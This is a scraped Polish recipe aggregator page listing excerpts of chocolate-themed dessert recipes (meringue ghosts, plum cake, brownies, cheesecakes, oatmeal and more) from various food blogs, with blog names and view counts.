poniższej porcji upieczecie bezy na porcję dla dwóch osób.  Składniki: 2 duże białka jaj (najlepiej 1-2 dniowe) 105 g zwykłego cukru szczypta soli do dekoracji  czekolada truskawki gorzkie kakao Białka wyjąć z lodówki i zostawić w ciepłym miejscu przez co najmniej 1 godzinę. Następnie wlać je do miski, dodać szczyptę soli i za pomocą miksera ubić(...)godzinę w 110°C  (beza musi być sucha z zewnątrz; moja była lekko ciągnąca się w środku - takie właśnie lubię). Przestudzone bezy posypać gorzkim kakao, za pomocą roztopionej czekolady zrobić oczy i usta duszków. Truskawki zmiksować, posłodzić. Bezy podawać z sosem truskawkowym

Ugotować
Wilgotne ciasto czekoladowe ze śliwką, krówką i czekoladą (bez miksera) 218

drobnej węgierki pokrojonej  na cząstki ( drobna węgierka ma mniej soku niż ta duża - dlatego lepiej sprawdzi się w cieście ) - 100 gr cukierków krówek - 100 gr (tabliczka) gorzkiej czekolady Cukierki i czekoladę siekamy na kawałki. Mieszamy ze śliwką. Suche składniki mieszamy ze sobą w większej misce. Mokre rozbełtujemy w mniejszej miseczce. Mokre składniki przelewamy do suchych i mieszamy widelcem tylko

kawawszklance
Batoniki ( ciasteczka) owsiano-żytnie z bakaliami bez pieczenia 124

szklanki siekanych daktyli - 0,5 szklanki ziaren łuskanego słonecznika - 0,25 szklanki ziaren siemienia lnianego - 0,25 szklanki ziaren dyni - 0,25 szklanki sezamu - 0,5 tabliczki siekanej gorzkiej czekolady (80% kakao) - zamiennie 3 łyżki kakao) W rondlu umieścić masło roślinne, cukier i mleko. Zagotować. Dodać płatki owsiane - prażyć około 5 minut. Jak płatki delikatnie zmiękną dodać otręby i czekoladę

kawawszklance
Piernikowe muffiny ( minibabeczki ) 145

mini poczęstunek lub elegancki upominek. Pachnące cynamonem, gałką muszkatołową, kardamonem po prostu piernikiem..pachnące domem w chłodne jesienne dni.. Uwieńczone polewą czekoladową i kruchymi ciasteczkami w mlecznej czekoladzie...małe piernikowe elegantki kryjące w sobie słodką tajemnicę..ulubioną marmoladkę lub konfiturę. Przepis jest bardzo prosty.. Tak naprawdę najwięcej czasu zabiera wykończenie muffinek niż ich upieczenie. Porcja na 24 muffinki(...)łyżeczki sody oczyszczonej - 24 łyżeczki ulubionej konfitury / marmolady polewa: -50 gr masła - szczypta soli - 2 łyżki mleka - 3 łyżki kakao -2 łyżki cukru dodatkowo: - opakowanie miniciasteczek w czekoladzie ( można je zastąpić ulubionymi dodatkami. świetnie sprawdzą się np. rodzynki namoczone w rumie lub prażone z cynamonem orzechy ziemne lub włoskie. Mąkę, cukier, kakao, środek spulchniający, przyprawę do piernika i sól umieścić

kawawszklance
Śniadaniowa kasza gryczana na słodko 139

klonowego (lub więcej według uznania) 6 łyżek roślinnego mleka szczypta soli morskiej spora garść ulubionych suszonych owoców, pokrojonych na mniejsze kawałki 2 łyżeczki wiórków kokosowych 2-3 kostki ciemnej czekolady min. 70 % (opcjonalnie) Kaszę dokładnie opłucz, wrzuć do rondla z 0,5 l wrzącej wody i gotuj do miękkości (około 15 minut). Odcedź.  Do tego samego garnka dodaj teraz(...)wszystkie składniki dokładnie połączą. Wsyp kaszę oraz suszone owoce do czekoladowego sosu i dokładnie zamieszaj. Zdejmij z ognia, przełóż do misek, posyp wiórkami kokosowymi i polej roztopioną gorzką czekoladą.  Z podanych składników uzyskasz 2 porcje

Roślinna - blog wegański
Tort czekoladowy z kremem ajerkoniakowym i borówkami – pieczemy biszkopt kakaowy 240

Nasączam górną połowę ciasta pozostałym ponczem, drugą część kremu umieszczam w rękawie i wyciskam kleksiki wielkości dużej borówki. Między nimi rozkładam pozostałe owoce. Na całość ścieram na tarce czekoladę i lekko posypuję łyżeczką gorzkiego kakao. Tort ląduje w lodówce na minimum 3 godziny. Jeszcze lepiej by mu zrobiła przeleżana tam cała noc, ale nie. Nie pozwolę. Każdemu zdarzają się chwile(...)łyżki rumu 1 łyżka soku z cytryny DO PRZEŁOŻENIA I DEKORACJI krem ajerkoniakowy DrOetker 300ml zimnego mleka 300g borówek amerykańskich 4 łyżki marmolady jagodowej kakao lub tarta czekolada do posypania

Karo in the Kitchen
Drożdżowe bułeczki z malinami i białą czekoladą 146

Wpis pochodzi z www.mgotuje.pl Drożdżowe bułeczki z nadzieniem z twarożku z dodatkiem białej czekolady i malin. Upiekłam je już jakiś czas temu ale dopiero teraz doczekały się publikacji. Bardzo nam smakowały i zostały zjedzone w tempie ekspresowym. Bułeczki podałam na talerzu z serii New Hollis Gold od  Porcelana Bogucice . Post(...)Drożdżowe bułeczki z malinami i białą czekoladą pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Carpaccio z pomarańczy 144

efektowny. Idealny dla łasuchów dbających o sylwetkę;) Przepis pochodzi z książki Gino D'Acampo "La Dolche Diet". Składniki : 2-3 pomarańcze pół granatu szczypta cynamonu kawałek gorzkiej czekolady cukier puder (opcjonalnie) Przygotowanie : Pomarańcze delikatnie obrać ze skóry i dokładnie oczyścić z białej błonki, pokroić w poprzek na plastry grubości około pół centymetra. Następnie plastry pomarańczy układać na dużym(...)płaskim talerzu, tak aby lekko na siebie nachodziły. Posypać cukrem pudrem (opcjonalnie, ja pominęłam, gdyż owoce są wystarczająco słodkie) i cynamonem, następnie ziarenkami granatu i gorzką czekoladą startą na tarce o małych oczkach. Podawać. Smacznego

Codzienne Gotowanie
Czekoladowe ciasto z gruszkami 531

pełni :) SKŁADNIKI 120 g miękkiego masła 10 płaskich łyżek cukru trzcinowego 3 jajka 10 łyżek mąki pszennej 1 łyżeczka proszku do pieczenia 2 łyżki ciemnego kakao 1 tabliczka czekolady deserowej 4 małe twarde gruszki PRZYGOTOWANIE W malakserze ucieramy masło z 8  łyżkami cukru na gładką masę. Nie przerywając miksowania dodajemy po jednym jajku, a następnie mąkę przesianą z proszkiem(...)pieczenia i kakao. Gdy ciasto będzie gładkie dodajemy posiekaną na małe kawałki gorzką czekoladę.  Mieszamy całość łyżką. Wylewamy do tortownicy (23 cm) wyłożonej papierem do pieczenia. Gruszki obieramy, wykrawamy gniazda nasienne i kroimy w ósemki. Układamy dookoła na cieście.  Posypujemy pozostałymi 2 łyżkami cukru. Wstawiamy do piekarnika nagrzanego do 180 stopni (z termoobiegiem) na około 45 minut. Smacznego

Moje Kuchenne Rewelacje
Bułeczki misie 187

masła 7 g suszonych drożdży  1 jajko duża szczypta soli oraz: 1 żółtko 1 łyżka ciepłej wody  18 małych ciemnych rodzynek  opcjonalnie: 200 g mlecznej czekolady lub 200 g gotowej masy marcepanowej Wszystkie składniki powinny mieć temperaturę pokojową. Mleko podgrzać tak by było ciepłe. Wsypać cukier i wymieszać do rozpuszczenia się cukru. Masło rozpuścić. Mąkę wsypać(...)duże blachy wyłożyć papierem do pieczenia. Formować misie już na blaszkach w sporych odstępach - rosną! Jeśli chcemy nadziać bułeczki, należy do kulek - brzuszków i kulek główek włożyć po kawałku czekolady lub marcepanu. Z rodzynek zrobić oczki i noski. Przykryć blachy ściereczkami i pozostawić do wyrośnięcia na około 30 minut. Żółtko roztrzepać z 1 łyżką ciepłej wody. Posmarować wyrośnięte misie, najlepiej

maniapieczenia
Naleśniki biszkoptowe z serem i sosem czekoladowym 165

szczypty soli 1 łyżka masła 2 łyżki oleju do smażenia Dodatkowo: 500 g białego sera garść rodzynek 2 łyżki ksylitolu lub cukru 2 łyżki śmietany kremówki+ 2 łyżki czekolada gorzka Wykonanie: utrzeć żółtka z cukrem, solą i masłem na pianę. Ubijając mikserem lub trzepaczką stopniowo do utartych żółtek dodawać mleko i wodę, a następnie 3/4 szklanki przesianej mąki. Przykryć, zostawić(...)zalać gorącą wodą na kilka minut. Odsączyć na papierowym ręczniku  serek wymieszać ze śmietaną i cukrem. Dodać rodzynki, wymieszać w małym garnuszku podgrzać śmietanę kremówkę, dodać połamane kawałki czekolady i mieszać do rozpuszczenia usmażone naleśniki posmarować przygotowanym farszem, złożyć na 4 części. Podpiec na patelni. Podawać polane sosem czekoladowym i udekorowane jeżynami

Gotuj zdrowo!Guten Appetit!
Pełnoziarniste ciastka Hello Kitty 192

Masa plastyczna: 400 g cukru pudru 1,5 łyżeczki żelatyny 1,5 łyżeczki glukozy 25 ml gorącej wody około 1 łyżeczka truskawkowego kisielu w proszku Dodatkowo: troszkę rozpuszczonej ciemnej czekolady do dekoracji żółte M&M's do zrobienia nosków Przygotowanie: 1. Ciasto: Wszystkie składniki wyrobić rękami do uzyskania jednolitego ciasta. Owinąć je w folię spożywczą i schłodzić minimum(...)ostrego noża wyciąć kształty ciasteczek. Z różowej masy uformować kokardki. Na ostudzone ciastka wyłożyć biały lukier plastyczny, dobrze przykleić. Na jednym uszku Hello Kitty umieścić kokardkę. Za pomocą rozpuszczonej czekolady zrobić wąsiki i oczka oraz przykleić M&M's jako nosek kotka ( jeśli M&M's okaże się za duży, należy przepołowić go na pół ;-)) Tak przygotowane ciasteczka

Nastoletnie Wypiekanie
Wegańskie ciasteczka 136

szklanki) mąki orkiszowej pełnoziarnistej 1 szczypta soli 1 łyżeczka sody oczyszczonej 1 łyżeczka proszku do pieczenia 90 g zmiażdżonego awokado ½ szklanki zmiażdżonego banana 6 łyżek miodu żurawina posiekana czekolada deserowa (½ tabliczki) Wykonanie: Mąkę, sól, sodę i proszek do pieczenia wymieszać. Dodać awokado, banany i miód, a następnie zagnieść ciasto. Dodać żurawinę i czekoladę i jeszcze raz zagnieść. Z ciasta uformować

Mama Gotuje
Bananowe blondie z kawałkami czekolady 102

Blondie to jasna wersja popularnego brownie. W oryginale ciasto ma dodatek białej czekolady i zwykłej mąki, ale z rodzimej wersji postanowiłam zostawić tylko nazwę :) Ciasteczko jest niezwykle miękkie, pulchne i niesamowicie wilgotne. Jest także bardzo proste w wykonaniu. Jedyne czego potrzebujecie to dojrzałe banany i wyczucie własnej mikrofali. Zapraszam :) Składniki: 1 banan 1 jajko 1/2 łyżeczki syropu z agawy(...)miodu 2 kostki gorzkiej czekolady, posiekanej 1/2 łyżeczki proszku do pieczenia 1 łyżka mleka Wszystkie składniki umieścić w misce i zmiksować na gładkie ciasto. Foremki do sufletów lub małe kubki wysmarować tłuszczem. Podzielić masę pomiędzy dwa naczynka, w których pieczemy. Piec w mikrofali 2-3 minuty. Podawać z masłem orzechowym i jogurtem. Smacznego

Chocolate Muffin Blog
Dietetyczny sernik 252

ogóle, bo lubię również niesłodkie wypieki, poza tym jak fit to fit ;) ale generalnie dla tych co wolą chociaż trochę słodkie ciasta polecam dodać)  + kilka kostek gorzkiej czekolady Białka ubijamy na sztywno ze szczyptą soli, a następnie (cały czas ubijając) dodajemy stopniowo cukier, następnie budynie i potem jogurty.  Taką masę wylewamy na upieczony spód i pieczemy również(...)około 50 - 60 minut.  Po tym czasie wyłączamy piekarnik (pozwalamy ciastu kilka minut jeszcze "dojść") następnie uchylamy piekarnik, a dopiero po kilkunastu minutach wyjmujemy ciasto do ostudzenia.  Czekoladę roztapiamy w kąpieli wodnej i wylewamy na ciasto. Po ostygnięciu przechowujemy w lodówce.  :) Nie wiem jak wam, ale mi ten serniczek się niesamowicie podoba. Smakowo też pycha :) trochę inny

Jedzeniomania
Czekoladowa chmura 157

prawda sezon owocowy jeszcze tra ale ja postanowiłam upiec tym razem coś innego, pełnego czekolady i śmietany, bo takie życzenie było rodziny. Wybrałam ciasto Nigelli Lawson czekoladowa chmura, które jest proste, w miarę szybkie w wykonaniu i pyszne. W dodatku ciasto jest bez mąki, prawie sama czekolada, wiec to idealna propozycja dla jej miłośników. Ciasto pysznie uzupełnia bita śmietana. Ciasto

Bernika - moj kulinarny pamietnik
Ciasto czekoladowe z kaszy gryczanej - bez mąki i cukru (Zdrowe słodycze #1) 3391

uwierzyć, że nie jest to zwykły murzynek :) SKŁADNIKI: 20 dag kaszy gryczanej = 2 torebki (waga suchej kaszy) 2/3 łyżeczki soli do gotowania kaszy 2 jajka + jedno białko 150 g czekolady* 2 łyżki miodu 2 łyżki jogurtu naturalnego 1/2 szklanki otrębów (u mnie owsiane ale mogą być też gryczane, żytnie) 1 kopiasta łyżka ciemnego kakao 1 łyżeczka cynamonu 1 płaska łyżeczka(...)może być gorzka lub mleczna - od tego w dużym stopniu zależy, jak słodkie ciasto uzyskamy 1. Kaszę ugotować na miękko. Lekko przestudzić.  2. Białka oddzielić od żółtek, czekoladę rozpuścić.  3. Do kaszy dodać wszystkie składniki oprócz białek i całość dokładnie zblendować blenderem ręcznym lub w malakserze. 4. Białka ubić, dodać do zblendowanej masy i dokładnie wymieszać łyżką

Kto ugości moich gości?
Deser na pożegnanie wakacji 153

lodów smakuje wyśmienicie. Co ja się będę dużo rozpisywać, sami spróbujcie bo pracy przy num tyle co nic. Nektarynka pod kruszonką z amaretti składniki: 4 nektarynki 50 g białej czekolady - pokruszonej 50 g płatków migdałowych 50 g ciasteczek amaretti - pokruszonych 15 g brązowego cukru - opcjonalnie 2 łyżki Amaretto 1 żółtko starta skórka z cytryny wykonanie: Nektarynki myjemy, przecinamy na pól(...)żaroodpornego nasmarowanego masłem lub wyłożonego papierem do pieczenia. (przecięta stroną do góry) Żółtko łączymy z cukrem i likierem amaretto oraz skórką z cytryny. Dodajemy pokruszone ciastka, migdały i posiekaną czekoladę.Dokładnie mieszamy i powstałą mieszanką wypełniamy nektarynki.  Zapiekamy przez 20-25 minut w temperaturze 180°C. Podajemy lekko wystudzone z lodami lub kremem angielskim

Przysmaki Karolki
Gruszki w czekoladzie 194

strony. Składniki: 120 g miękkiego masła 3 jajka 8 łyżek cukru 10 łyżek mąki 2 łyżki kakao 1 łyżeczka proszku do pieczenia pół tabliczki gorzkiej czekolady 3-4 gruszki Masło z cukrem ucieramy na gładka masę. Dodajemy przesianą mąkę z proszkiem do pieczenia, kakao oraz jajka. Ucieramy do połączenia się składników, na koniec dodajmy posiekaną czekoladę. Ciasto wykładamy do wyłożonej

Słodka Kraina Wypieków
miętowo-czekoladowe serniczki 103

pokruszonych herbatników        Ser   450g twarogu president,lub innego zmielonego pół szkl. kwaśnej gęstej śmietany 18 % pół szkl.cukru pudru 2 duże jajka pół czekolady 70% szczypta soli aromat miętowy Wykonczenie poł szkl śmietany 2 łyżki cukru Wykonanie  Piekarnik rozgrzać do 150° C. Pokruszyć ciasteczka wałkiem.Czekolade posiekac na drobne kawałeczki. Formę do muffinek(...)wyłóżyć papilotkami, na dno każdej z nich wysypać pokruszone ciasteczka Zmiksować resztę składników- krótko - do połączenia się .Dodać pokruszoną czekoladę.   Gotowa masę wlać w papilotki wcześniej przygotowanych . Piec, około 25 minut. Po tym czasie babeczki będą wyglądały jakby były niedopieczone, lekko popękany i wilgotne. Babeczki rosną podczas pieczenia i lekko opadają po wyjęciu z piekarnika. Pół szkl.śmietany wymieszać

w mojej kuchni
Fondant waniliowy 128

fondantu (fondanta?) powinien być płynny i aksamitny, niestety na moim zdjęciu tego nie widać, bo rozlana masa ukryła się za wywiniętym brzegiem talerza :(. FONDANT WANILIOWY Składniki: - 100 gram białej czekolady - 100 gram masła - 2 jajka - 2 żółtka - 70g cukru - laska wanilii - 100 gram mąki - cukier puder Przygotowanie: Kokilki wysmarowujemy masłem i obsypujemy wewnątrz cukrem pudrem. Czekoladę kruszymy, a masło kroimy

Życie zamknięte w smaku
Śliwkowy czokodżem 131

mojej rodziny i znika w zastraszającym tempie ;) Jest słodki, kwaśny, czekoladowy i śliwkowy! ŚLIWKOWY CZOKODŻEM Składniki: - 2 kilogramy śliwek - 1 kilogram cukru - szczypta soli - 130 gram kakao - 3 tabliczki czekolady, u mnie: mleczna, gorzka i deserowa - 100 gram orzechów włoskich, zmiksowanych Przygotowanie: Śliwki myjemy i usuwamy z nich pestki. Całość miksujemy w mikserze i dolewamy pół szklanki wody. Lokujemy owoce(...)garnku, gotujemy do zgęstnienia. Dodajemy cukier oraz sól i ponownie gotujemy przez 20-30 minut. Po tym czasie dołączamy pozostałe składniki - kakao, czekoladę i zmiksowane orzechy włoskie. Zamykamy w wyparzonych słoikach i odstawiamy do góry dnem. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Torcik karmelowo- jeżynowy 197

kakao Galaretka: 500 g jeżyn  3/4 szklanki cukru 4 płaskie łyżeczki żelatyny minimalna ilość wody  Krem: 2 żółtka 20 g cukru pudru  100 g czekolady białej o smaku karmelowym 400 ml kremówki  3 łyżeczki żelatyny  Biszkopt:  Białka oddzielić od żółtek i ubić na sztywną pianę. Stopniowo dodawać cukier, miksując po każdym dodaniu. Do ubitych(...)cukrem na jasną puszystą masę. Gdy kremówka będzie dobrze ciepła  (nie doprowadzić do wrzenia) dodać do niej utarte żółtka, podgrzewać do lekkiego zgęstnienia. Gotowym kremem zalać połamaną czekoladę i mieszać do czasu, aż całkowicie się rozpuści. Do masy czekoladowej dodać żelatynę i dokładnie wymieszać, pozostawić do przestudzenia. Resztę kremówki ubić na sztywno i stopniowo dodawać do niej masę czekoladową

Krakowskie smaki Ani
Cukiniowy muffin; na słodkie śniadanie. 178

Cukiniowa muffina; z daktylami, jagodami goji, czekoladą białą oraz wiórkami; kawa z mlekiem, jeżyny  Lubię moją rodzinę, lubię wyjazdy z nią. Czasami lubię z nią tak nic nie robić, będąc jedynie z nią, gdzieś gdzie nie ma zasięgu, gdzie jeżdżenie stało się naszą małą "tradycją" coroczną, nawet na ten weekend. Lubię słuchać jak ciocia cieszy się jak wujek próbuje(...)tego dodać pszennej) kawałek cukini (ok.100g) jajko łyżka rozpuszczonego olejku kokosowego  szczypta sody oczyszczonej  1/2 proszku do pieczenia coś do posłodzenia jagody goji  daktyle biała czekolada wiórki kokosowe  Cukinię ścieramy na drobnych oczkach, lekko solimy, pozostawiamy na chwilę po czym odciskamy nadmiar wody(nie wylewamy). Do drugiej miseczki przesiewamy mąkę, dodajemy jajko, proszek do pieczenia

More food, love and dreams
Drożdżowe babeczki z czekoladą 209

Składniki: 1,5 szklanki mąki 0,5 szklanki cukru 0,5 szklanki mleka 50 g drożdży 1 jajko 100 g masła (lub margaryny) 0,5 tabliczki czekolady rodzynki   Drożdże rozpuszczamy w ciepłym mleku z łyżeczką cukru i odstawiamy do wyrośnięcia. Masło rozpuszczamy i odstawiamy do ostudzenia. Jajko ucieramy z resztą cukru. Do wyrośniętych drożdży dodajemy: mąkę, jajko z cukrem(...)najwięcej powietrza.   Ciasto odstawiamy w ciepłe miejsce do wyrośnięcia na około pół godziny, powinno w tym czasie podwoić swoją objętość. Do wyrośniętego ciasta dodajemy pokrojoną na kawałki czekoladę i rodzynki. Mieszamy i przekładamy do blaszki wyłożonej papierowymi papilotkami.   Pieczemy około pół godziny w temperaturze 180 stopni.   Smacznego! ciastkożercy

Ciastkozercy
.1046. w góry wczoraj i dziś 146

waniliowa owsianka z marchewką, śliwkami (w środku), gorzką czekoladą Studentską (♥) z rodzynkami i orzechami ziemnymi i preparowaną gryką~ Wczoraj było baaardzo aktywnie! Ponad 12km w górach, a potem drugie tyle spacerkiem po mieście...Było pięknie! Te widoki! Kocham góry ♥ Moje nogi już mniej, ale... :P Dla tych obrazów warto :) Dla tej ciszy, powietrza, natury... W mieście tego nie mam, staram(...)przyjacielsko nastawione kozy, z którymi podzieliśmy się zapasem orzechów :D Dzisiaj jedziemy pozwiedzać pobliskie jaskinie i wspiąć się na kolejną górę :D Dlatego na śniadanie dająca kopa owsianka z czekoladą która jest "must have" wyjazdu na Słowację :D Mają tutaj tyle jej rodzajów! Zostały tylko dwie kostki, dzisiaj kupujemy inną! :D Kilka zdjęć z wczoraj: P.S. Jeśli dodaję za dużo

breakfast of dreams
Ciasto sernikowe z bezą 176

poprawiają wizualnie jego wygląd. Przepis na Ciasto sernikowe z bezą: Bazą ciasta to sernik z 3 składników tym razem przygotowany z 200 g twarogu naturalnego President, 200 g białej czekolady i 3 jajek, tym razem zrobiłam go bezą, którą nałożyłam po 45 minutach właściwego czasu pierwotnej wersji ciasta. Białka ubijamy na sztywno i dzielimy na trzy części, Rozpuszczamy białą czekoladę

Damsko-męskie spojrzenie na kuchnię
Brownie bez jaj. 154

startej cukinii na drobnych oczkach (ok.100g) ok.60-80ml mleczka kokosowego/ ew. pół na pół z naparem z kawy 1/2 łyżeczki proszku do pieczenia szczypta sody oczyszczonej coś do posłodzenia cynamon + czekolada Startą cukinię solimy i odciskamy z wody(nie wylewamy jej) Suche składniki przesiewamy do miseczki, łączymy z resztą składników. Przekładamy do wysmarowanego tłuszczem naczynka i pieczemy ok.35-40min w piekarniku nagrzanym(...)stopni. * czekoladę możecie dać do środka/lub posypać nią wierzch

More food, love and dreams
TORCIK BROWNIE Z BORÓWKAMI – najlepsze brownie na świecie! 254

sama po sobie ;) Takie Brownie z borówkami jest fantastycznym pomysłem do popołudniowej kawki! Po sezonie śmiało można je zrobić również z mrożonymi owocami. Polecam! SKŁADNIKI: ( tortownica 18 cm ) * gorzka czekolada – 100 g * masło – 100 g * jajko – 3 szt * cukier – 150 g * mąka pszenna – 50 g * kakao – 2 łyżki * borówki – 1 szkl + do dekoracji(...)SPOSÓB PRZYRZĄDZENIA: Do szklanek miski wkładamy połamaną czekoladę, masło i kakao – rozpuszczamy w kąpieli wodnej, studzimy. Jajka ubijamy z cukrem na puch, wsypujemy mąkę i miksujemy na woilnych obrotach. Wlewamy przestudzoną ( nie musi być zimna! ) masę czekoladową -mieszamy. Dodajemy borówki, wylewamy do foremki wyłożonej na spodzie papierem do pieczenia. Wkładamy do nagrzanego na 150C piekarnika

Ostra na Słodko
Owsianka kokosowa 598

opcjonalnie podgrzać w garnuszku lub w kuchence mikrofalowej. Zamiast sosu można użyć kilku kostek rozpuszczonej w kuchence mikrofalowej lub w kąpieli wodnej gorzkiej (lub ewentualnie w wersji niewegańskiej mlecznej) czekolady. Szukasz innych pomysłów na owsiankę, koniecznie spróbuj: #po kliknięciu w link w nowej karcie automatycznie otworzy się przepis :) owsianka z cukinią i jajkiem sadzonym nocna owsianka z malinami, migdałami(...)białą czekoladą

tost z dżemem
Sernik z białą czekoladą i czereśniami 162

jakości sera, jakiego użyjemy do jego przygotowania. To od niego będzie zależała jego struktura po upieczeniu, a nierzadko i smak. Bo są serniki i są Serniki! Sernik z białą czekoladą to jeden z tych wypieków, przy którym inne bledną. Gorąco polecam! Składniki: Spód: 250 g ciasteczek owsianych 50 g masła, roztopionego Masa serowa: 500 g twarogu, zmielonego przynajmniej dwukrotnie(...)serka mascarpone 180 g cukru 1 łyżka ekstraktu waniliowego 100 ml mleka 500 g białej czekolady, roztopionej w kąpieli wodnej i wystudzonej 5 dużych jajek, białka i żółtka oddzielnie Sos czereśniowy: 2 szklanki drylowanych czereśni 2 łyżki soku z cytryny 50 ml likieru miodowego Jack Daniels lub innego laska kory cynamonu 1 łyżka mąki ziemniaczanej dodatkowo- czereśnie do dekoracji Przygotowanie

Smakowity Blog Kulinarny
Tarta dyniowa-czekoladowa 147

papier. Piecz kolejne 5-8 minut, aż tarta się przyrumieni. Potem wyciągnij i zostaw do ostygnięcia. Krem: - 2 szklanki puree dyniowego - 3 łyżki cukru brązowego - 1 łyżka miodu - 1 czekolada mleczna 100g - 2 łyżki kakao - 5 łyżek kaszy jaglanej preparowanej (opcjonalnie) Czekoladę rozpuść w kąpieli wodnej. Wszystkie składniki zblenduj ze sobą na kremową masę. Wyłóż nią tartę i przełóż

Corner With Recipes
Polewa do ciast z prawdziwej czekolady 159

gorącej wodzie i polewa gotowa. Raz spróbowałam i od tamtej pory szerokim łukiem omijam to coś. Na półka w supermarketach (działy ze składnikami do przygotowywania wypieków) znajdziecie także specjalne czekolady, z których przygotujecie własne polewy do ciast z […] The post Polewa do ciast z prawdziwej czekolady appeared first on Magiczny Garnek

Magiczny Garnek
Ciasto bananowe z czekoladą 124

Składniki na tortownicę o średnicy 21 cm: 150 g miękkiego masła 3/4 szklanki cukru 3 jajka w temperaturze pokojowej 2 dojrzałe banany 50 g gorzkiej czekolady pokrojonej w kosteczkę 1 opakowanie cukru waniliowego szczypta soli 1 łyżka soku z cytryny 120 g śmietany 300 g mąki 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody Masło utrzeć z cukrem, cukrem waniliowym(...)połączyć z sodą i proszkiem do pieczenia. Wsypać do miski z masłem. Następnie wlać śmietanę. Banany rozgnieść widelcem, dodać sok z cytryny, wymieszać. Do ciasta dodać banany i pokrojoną czekoladę. Wymieszać by składniki się połączyły. Przelać do tortownicy piec jedną godzinę w 180 stopniach. Smacznego! Źródło

Moja Galeria Smaku
Markizy dyniowe 119

pieczenia 1/2 łyżeczki sody 1 łyżeczka cynamonu 1/2 łyżeczki gałki muszkatołowej 1/2 łyżeczki imbiru 1/2 łyżeczki soli 1 łyżeczka ekstraktu waniliowego Krem: (najlepiej zrobić 2 porcje) 100 g czekolady gorzkiej 100 g kremówki 30% 10g masła  Masło utrzeć z cukrem. Dodać puree, zmiksować do połączenia. Dodać jajko, ekstrakt i zmiksować do połączenia.W drugiej misce wymieszać wszystkie suche składniki(...)zmiksować. Piekarnik rozgrzać do 180 stopni. Na blachę wyłożoną papierem do pieczenia wykładać ciasteczka (łyżką bądź formą do wyciskania). Piec 20 minut. Wyjąć z piekarnika, ostudzić. Przygotowanie kremu: Czekoladę rozpuścić razem z masłem. Ostudzić, dodać kremówkę i przełożyć ciasteczka. Schodzić w lodówce. * puree z dyni - pokrojoną na części upiec w 200 stopniach przez 15-20 minut aż będzie miękka, zdjąć

Moja Galeria Smaku
Babeczki orzechowe z czekoladą 79

łyżeczka ekstraktu waniliowego 1 i 1/4 łyżeczki proszku do pieczenia 1 łyżeczka kakao 1 szklanka mąki pszennej 1/2 szklanki posiekanych orzechów włoskich 3 łyżki mleka 100 g posiekanej gorzkiej czekolady   Masło utrzeć z cukrem na puszystą masę. Dodać po jednym jajku, zmiksować. Dodać ekstrakt waniliowy. W drugiej misce wymieszać mąkę z proszkiem do pieczenia, kakao i orzechami. Dodać stopniowo(...)masła. Po zmiksowaniu dodać mleko a na końcu czekoladę. Ciasto wyłożyć do 3/4 wysokości papilotki. Piec w 170 stopniach około 25 minut, do suchego patyczka. Źródło

Moja Galeria Smaku
Pianka karmelowa 155

masy dodać do żelatyny, wymieszać i dopiero wtedy dodać do reszty masy. Zmiksować. Na wystudzony biszkopt wylać masę i odstawić do lodówki na kilka godzin. Polewa: 100 g gorzkiej czekolady 100 ml śmietany 30% 2 łyżki masła Wszystkie składniki umieścić w rondelku, podgrzać, aż czekolada się rozpuści. Ostudzić, wyłożyć na zastygniętą masę. Włożyć do zastygnięcia do lodówki

Moja Galeria Smaku
Czekoladowy pudding z tapioki 132

przypadnie Wam do gustu.  Składniki na 2 porcje: 1/4 szklanki tapioki (mniejsze kulki) 200 ml wody 200 ml mleczka kokosowego 1 łyżka ksylitolu (cukru brzozowego) 4 kostki gorzkiej czekolady 1 łyżka syropu klonowego ziarenka z 1 laski wanilii 1/2 banana W garnku z grubym dnem zagotować wodę z mleczkiem kokosowym. Dodać tapiokę, ziarenka wanilii i ksylitol. Gotować pod przykryciem(...)małym ogniu przez 20 minut, aż ziarenka będą przeźroczyste. Co jakiś czas mieszać, żeby pudding nie przywarł do dna garnka. Zdjąć z gazu, dodać czekoladę i wymieszać. Przełożyć do szklanek, polać syropem klonowym i udekorować bananem. Inspiracja

Moja Galeria Smaku
Deser z truskawkami i mascarpone 370

mascarpone. Składniki na 2 porcje: 150 g mascarpone 200 g truskawek 50 g biszkoptów 1/3 łyżeczki ekstraktu waniliowego 1 niepełna łyżka płynnego miodu 1/2-1 szklanka mleka 1 kostka gorzkiej czekolady Mascarpone wymieszać z miodem i ekstraktem waniliowym. Biszkopty połamać i zamoczyć na kilka sekund w mleku. Ułożyć warstwowo biszkopty, truskawki i mascarpone. Na wierzch zetrzeć czekoladę. Można dodatkowo schłodzić. Smacznego

Moja Galeria Smaku
Tajemnice imion i imieninowe ciasto z porzeczkami 202

sody oczyszczonej krem porzeczkowy: 300 g czerwonej porzeczki 150 g cukru sok z 1/2 pomarańczy 6 żółtek 700 g kwaśnej śmietany 8 listków żelatyny polewa czekoladowa: 200 g ciemnej czekolady (70%) 250 ml śmietany kremówki (38%) 30 g masła dekoracja: 200 g czerwonej porzeczki 1 białko 100 g drobnego cukru Masło rozpuścić, dodać przesiane kakao, kawę i ekstrakt. Gotować(...)tortownicy. Wyłożyć tężejący krem, przykryć drugim blatem ciasta. Schłodzić w lodówce przez noc, aby krem się ściął. Brzegi formy obkroić ostrym nożem, zdjąć obręcz. Kremówkę zagotować, zalać drobno posiekaną czekoladę. Odstawić na 3 minut, wymieszać. Dodać masło pokrojone na małe kawałki, połączyć. Przestudzić. Gęstniejącą polewą oblać ciasto z wierzchu i na bokach. Porzeczki do dekoracji umyć, osuszyć. Zanurzać w lekko

Pożeraczka, czyli raz adobrze
Czekoladowy torcik z czereśniami 191

prosto z lodówki) ubić na sztywno z cukrem pudrem. Opcjonalnie można użyć usztywniacza do śmietany. Posmarować nią wierzch tortu.  Dekoracja garść czereśni z szypułkami starta lub posiekana gorzka czekolada konfitura/dżem (u mnie z czarnej porzeczki) Na koniec torcik można posypać startą czekoladą, ułożyć czereśnie i np. wykończyć kilkoma łyżkami (podgrzanej wcześniej) konfitury.  Gotowy tort przechowywać w lodówce

Kuchnia Ellie
Ciasto bez pieczenia z jabłkami i bitą śmietaną 1508

